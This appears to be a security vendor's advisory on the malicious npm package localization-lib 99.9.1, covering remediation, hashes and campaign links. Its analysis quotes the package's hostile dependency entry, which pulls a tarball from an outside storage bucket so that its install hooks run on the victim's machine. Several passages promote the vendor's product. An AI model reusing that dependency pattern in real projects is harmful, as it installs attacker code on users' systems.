Which versions of localization-lib are malicious?

The following npm versions of localization-lib are flagged malicious: 99.9.1. Treat any of these as compromised.

How do I remediate localization-lib if I installed it?

localization-lib is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed localization-lib — how do I know if it already compromised me?

If localization-lib was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is localization-lib part of a known attack campaign?

Yes — localization-lib is associated with the IN-MAL-2026-005032, IN-MAL-2026-005031, GHSA-2qhv-h564-p9rm campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find localization-lib across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for localization-lib (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging localization-lib across your stack and pipelines.

Malicious package

localization-libnpm

Malicious code in localization-lib (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5447

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall localization-lib

What this malware does

[email protected] is an empty shell package: index.js is module.exports = {} and package.json has no description or author. Its dependencies declares "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.1.tgz", resolving a transitive dependency directly from a third-party Google Cloud Storage bucket rather than the npm registry. On npm install, npm fetches and installs that opaque tarball and executes any lifecycle hooks it declares on the installer's machine. The version 99.9.1 is the canonical outranking-version pattern used in dependency-confusion attacks to override a legitimate internally-named package, and the URL path literally contains the token depenconf. The package has no functional purpose other than smuggling this off-registry dependency into the installer's environment.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.9.1

Indicators of compromise (SHA-256)

bcd25156cfc8d9cd6b46f2b84b7212acd8a139ae38c964302332104a0fb44067

bf143361939feffe7099c14acc7cf41a401681481e932e15d6054dde49e88f94

401dface4dee0f5b93603c52d947b3e856983c806dca6453edc9efef6afa482b

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for localization-lib (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging localization-lib across your stack and pipelines.
If you installed it — respond
localization-lib is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If localization-lib was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks localization-lib before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. localization-lib on npm has been identified as a malicious package (version 99.9.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005032IN-MAL-2026-005031GHSA-2qhv-h564-p9rm

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks localization-lib-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring